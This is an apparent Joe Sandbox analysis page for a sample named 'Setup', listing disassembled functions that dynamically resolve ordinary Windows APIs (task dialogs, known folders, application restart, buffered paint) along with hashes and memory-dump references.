Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeHandleModuleProc
String ID: RegisterApplicationRecoveryCallback$kernel32.dll
API String ID: 2061474489-202725706
Opcode ID: 0d3f284de33044e8c899ec21fcf99187cc1b8fbdb0dbdfd3cf1fb9e09a8ccc58
Instruction ID: 37f58e32fb90dcffd1740cc7e77b452bf884c349b90b8dd1d1b81e555d1d44ff
Opcode Fuzzy Hash: 0d3f284de33044e8c899ec21fcf99187cc1b8fbdb0dbdfd3cf1fb9e09a8ccc58
Instruction Fuzzy Hash: 7DF09071546255ABCB125F60EC08B6E7FE8AB44781304C0A2FD1AD2320DA74CD019BB2

Function 00B77FA0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 35libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(comctl32.dll,00CD8EE8,?,00B929F4,?,?,?,?,?,?,00CD8EE8,00000100), ref: 00B77FB2
GetProcAddress.KERNEL32(00000000,TaskDialogIndirect), ref: 00B77FC2
EncodePointer.KERNEL32(00000000,?,00B929F4,?,?,?,?,?,?,00CD8EE8,00000100), ref: 00B77FCB
DecodePointer.KERNEL32(00000000,00CD8EE8,?,00B929F4,?,?,?,?,?,?,00CD8EE8,00000100), ref: 00B77FD9

Strings

TaskDialogIndirect, xrefs: 00B77FBC
comctl32.dll, xrefs: 00B77FAD

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeHandleModuleProc
String ID: TaskDialogIndirect$comctl32.dll
API String ID: 2061474489-2809879075
Opcode ID: 42b85516e706b4c464c7a51843cefc79f53be0e5abce8942b155e70896ddeaa5
Instruction ID: e2a5e97d060883c2a8c91ade847d914d17f8b0193988b35c7f9fef7a0fb1bff8
Opcode Fuzzy Hash: 42b85516e706b4c464c7a51843cefc79f53be0e5abce8942b155e70896ddeaa5
Instruction Fuzzy Hash: EFF0907158A299AB8B126F619D18E6D7FE8AB04B403008062FD19D6220CF34CD12ABA1

Function 00B77F3B Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 35libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(shell32.dll,00000000,?,00B799F0,00D01348,00000000,00000000,?,00000008,00D2CDD8,00D2CDD8,?,00B986BB,00000000,00000001,?), ref: 00B77F4D
GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 00B77F5D
EncodePointer.KERNEL32(00000000,?,00B799F0,00D01348,00000000,00000000,?,00000008,00D2CDD8,00D2CDD8,?,00B986BB,00000000,00000001,?,?), ref: 00B77F66
DecodePointer.KERNEL32(00000000,00000000,?,00B799F0,00D01348,00000000,00000000,?,00000008,00D2CDD8,00D2CDD8,?,00B986BB,00000000,00000001,?), ref: 00B77F74

Strings

SHGetKnownFolderPath, xrefs: 00B77F57
shell32.dll, xrefs: 00B77F48

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeHandleModuleProc
String ID: SHGetKnownFolderPath$shell32.dll
API String ID: 2061474489-2936008475
Opcode ID: d89d94c19eabdc1d96a7831fefe1457cfca49807dff554e11e3223e125af8f77
Instruction ID: 9889f531052c710f2ed6069100d62ada056c01f92ee270ee1fc5c71eaee3c6b8
Opcode Fuzzy Hash: d89d94c19eabdc1d96a7831fefe1457cfca49807dff554e11e3223e125af8f77
Instruction Fuzzy Hash: A9F0307158A395AB8F121F64AD0CA6E7FE9EF087513008063FD19DA260DF35CD119AB2

Function 00B777B0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 33libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(user32.dll), ref: 00B777C2
GetProcAddress.KERNEL32(00000000,ChangeWindowMessageFilter), ref: 00B777D2
EncodePointer.KERNEL32(00000000), ref: 00B777DB
DecodePointer.KERNEL32(00000000), ref: 00B777E9

Strings

ChangeWindowMessageFilter, xrefs: 00B777CC
user32.dll, xrefs: 00B777BD

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeHandleModuleProc
String ID: ChangeWindowMessageFilter$user32.dll
API String ID: 2061474489-2498399450
Opcode ID: 0e9f64713c753ad4977a1b4a133117d9864bd634859690563e3611834ea34ac8
Instruction ID: 2634720b8672ce18a8ac83874516499868e8e0f080f5fc39a73ba390748f88da
Opcode Fuzzy Hash: 0e9f64713c753ad4977a1b4a133117d9864bd634859690563e3611834ea34ac8
Instruction Fuzzy Hash: DBF05E3064A251AB8B122B61EC4CB7D7FD8EA047517108073FC19D2220DF34CD02D6E2

Function 00B77AE7 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 33libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(uxtheme.dll), ref: 00B77AF9
GetProcAddress.KERNEL32(00000000,EndBufferedPaint), ref: 00B77B09
EncodePointer.KERNEL32(00000000), ref: 00B77B12
DecodePointer.KERNEL32(00000000), ref: 00B77B20

Strings

EndBufferedPaint, xrefs: 00B77B03
uxtheme.dll, xrefs: 00B77AF4

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeHandleModuleProc
String ID: EndBufferedPaint$uxtheme.dll
API String ID: 2061474489-2993015961
Opcode ID: 61cb76cd33bde96eb7703d180ea3e157f9c6844ea9ca5051cc662efd2c81c806
Instruction ID: 4702103ea2426c2cb88477ed1169063c2a230ff09044a8498889535ccdfa604c
Opcode Fuzzy Hash: 61cb76cd33bde96eb7703d180ea3e157f9c6844ea9ca5051cc662efd2c81c806
Instruction Fuzzy Hash: CAF08271686615ABC7212B68DC18B2E7FD8EB187413048163FD1AD6320DF34CD028AE1

Function 00B77E77 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 33libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00B65613,?,?), ref: 00B77E89
GetProcAddress.KERNEL32(00000000,RegisterApplicationRestart), ref: 00B77E99
EncodePointer.KERNEL32(00000000,?,?,00B65613,?,?), ref: 00B77EA2
DecodePointer.KERNEL32(00000000,?,?,00B65613,?,?), ref: 00B77EB0

Strings

kernel32.dll, xrefs: 00B77E84
RegisterApplicationRestart, xrefs: 00B77E93

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeHandleModuleProc
String ID: RegisterApplicationRestart$kernel32.dll
API String ID: 2061474489-1259503209
Opcode ID: dedbb5a3cf44aaa38b9ef5c1ea7e596da9d193a51a4d53e7d4a444191b3ae060
Instruction ID: dfc54d9b99a2fda465f5a02aba9644322788683796e69911cd4b5bd1f2f74deb
Opcode Fuzzy Hash: dedbb5a3cf44aaa38b9ef5c1ea7e596da9d193a51a4d53e7d4a444191b3ae060
Instruction Fuzzy Hash: 1AF05E35A8A215AB87112B649C08A2E7FECAA04781300C4B7FC19E6360DF74CD029AE1

Function 00B77645 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00B64C81,00000000), ref: 00B77657
GetProcAddress.KERNEL32(00000000,ApplicationRecoveryInProgress), ref: 00B77667
EncodePointer.KERNEL32(00000000,?,?,00B64C81,00000000), ref: 00B77670
DecodePointer.KERNEL32(00000000,?,?,00B64C81,00000000), ref: 00B7767E

Strings

kernel32.dll, xrefs: 00B77652
ApplicationRecoveryInProgress, xrefs: 00B77661

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeHandleModuleProc
String ID: ApplicationRecoveryInProgress$kernel32.dll
API String ID: 2061474489-2899047487
Opcode ID: 087bf70629f0472bbb200de09349f1cdd15bb92eeb066b353407b3c5f482820d
Instruction ID: 030e0f2206808ca780af6733a631c918b0c92b14014a62993581b3e42a739f98
Opcode Fuzzy Hash: 087bf70629f0472bbb200de09349f1cdd15bb92eeb066b353407b3c5f482820d
Instruction Fuzzy Hash: B5F0A775686B11BB87211B789C08B6D7FD8DA44781301C077FD09D6324DF74CD024AE5

Function 00B775F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00B64CC4,00000001), ref: 00B77602
GetProcAddress.KERNEL32(00000000,ApplicationRecoveryFinished), ref: 00B77612
EncodePointer.KERNEL32(00000000,?,00B64CC4,00000001), ref: 00B7761B
DecodePointer.KERNEL32(00000000,?,?,00B64CC4,00000001), ref: 00B77629

Strings

kernel32.dll, xrefs: 00B775FD
ApplicationRecoveryFinished, xrefs: 00B7760C

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeHandleModuleProc
String ID: ApplicationRecoveryFinished$kernel32.dll
API String ID: 2061474489-1962646049
Opcode ID: 498567d42f58cc508016f582009e7dc0f9d65bbc73d50fbf9df739db70cf840d
Instruction ID: 4a938c0d59bc14ec77e1546ae83d3c4c6e79def6a9259aac8786f1beaa463e4f
Opcode Fuzzy Hash: 498567d42f58cc508016f582009e7dc0f9d65bbc73d50fbf9df739db70cf840d
Instruction Fuzzy Hash: B0F03071686B51AF86112B69AC08A2D7FD8EA14B82300C073FD05D2324DE74CE029AA6

Function 00B7775B Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(uxtheme.dll,?,00B88139,?,?,00B87DA8,BFD722F5,?,?,?,00CC5107,000000FF), ref: 00B7776A
GetProcAddress.KERNEL32(00000000,BufferedPaintUnInit), ref: 00B7777A
EncodePointer.KERNEL32(00000000,?,00B88139,?,?,00B87DA8,BFD722F5,?,?,?,00CC5107,000000FF), ref: 00B77783
DecodePointer.KERNEL32(00000000,?,00B88139,?,?,00B87DA8,BFD722F5,?,?,?,00CC5107,000000FF), ref: 00B77791

Strings

BufferedPaintUnInit, xrefs: 00B77774
uxtheme.dll, xrefs: 00B77765

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeHandleModuleProc
String ID: BufferedPaintUnInit$uxtheme.dll
API String ID: 2061474489-1501038116
Opcode ID: 72b2b07c45c9655f5655a6fc195d8414c69340a783ed28a1c87194f24943aada
Instruction ID: 599b5695b9ab4c4c98d09641d4bf8d260b2a69d15debe4f4f9fcd69525a9f7bd
Opcode Fuzzy Hash: 72b2b07c45c9655f5655a6fc195d8414c69340a783ed28a1c87194f24943aada
Instruction Fuzzy Hash: 07E0ED71A4B622AB96212B38BC48B6D7BE8EB407413058063FC05D2320CF38CD028EB2

Function 00B77D75 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(shell32.dll,00000000,00B6EDE0,?,?,?,?,?,?,?,?,00B6B240,000FC000,00000010,00000040,00B6B445), ref: 00B77D84
GetProcAddress.KERNEL32(00000000,InitNetworkAddressControl), ref: 00B77D94
EncodePointer.KERNEL32(00000000,?,?,?,?,?,?,?,?,00B6B240,000FC000,00000010,00000040,00B6B445,?,?), ref: 00B77D9D
DecodePointer.KERNEL32(00000000,00000000,00B6EDE0,?,?,?,?,?,?,?,?,00B6B240,000FC000,00000010,00000040,00B6B445), ref: 00B77DAB

Strings

InitNetworkAddressControl, xrefs: 00B77D8E
shell32.dll, xrefs: 00B77D7F

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeHandleModuleProc
String ID: InitNetworkAddressControl$shell32.dll
API String ID: 2061474489-1950653938
Opcode ID: 102fc6ad5a5a83d9c437522cd922bafc7b3c1236596711dc3c1083672415213b
Instruction ID: 3e1092b9e3f36081f656fe37cfa03226baf4562e5516779c8c9c535c9e8b409e
Opcode Fuzzy Hash: 102fc6ad5a5a83d9c437522cd922bafc7b3c1236596711dc3c1083672415213b
Instruction Fuzzy Hash: 4EE03071A4AA61AB96212B70BC0CB7E6B94EE047413058473E901D2260DE64CE064AF2

Function 00B99280 Relevance: 9.3, APIs: 6, Instructions: 348COMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00B9930F
GetClientRect.USER32(?,00B98CDC), ref: 00B99322
GetWindowRect.USER32(00000000,?), ref: 00B99374
GetParent.USER32(00000000), ref: 00B9937D
GetParent.USER32(00000000), ref: 00B99618
RedrawWindow.USER32(?,00000000,00000000,00000105,?,?,00000000,?,?,?,?,?,?,?,00B98CDC,00000000), ref: 00B99648

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Parent$RectWindow$ClientRedraw
String ID:
API String ID: 443302174-0
Opcode ID: 26320fc82a232b16daf67a9b5b196975c2f64145b91ac17ab1c72f6dc453d978
Instruction ID: f22ec8b68d19cde45e1c5c4fa3f0c204d0af196adf2d117aaea14398bf5f88ba
Opcode Fuzzy Hash: 26320fc82a232b16daf67a9b5b196975c2f64145b91ac17ab1c72f6dc453d978
Instruction Fuzzy Hash: 98D15A35A01219AFCF15DFA9C894AAEBBF5EF48710F1541BAE806A7350CB70AD41CF61

Function 00CBD1D0 Relevance: 9.3, APIs: 6, Instructions: 319fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00D213B0,00000000,00000000), ref: 00CBD218
__fassign.LIBCMT ref: 00CBD3F7
__fassign.LIBCMT ref: 00CBD414
WriteFile.KERNEL32(?,00000010,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00CBD45C
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00CBD49C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00CBD548

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: 5e0bd8b621b4f093088a81438d40c58813e56544e26d0ffef80595e667d46862
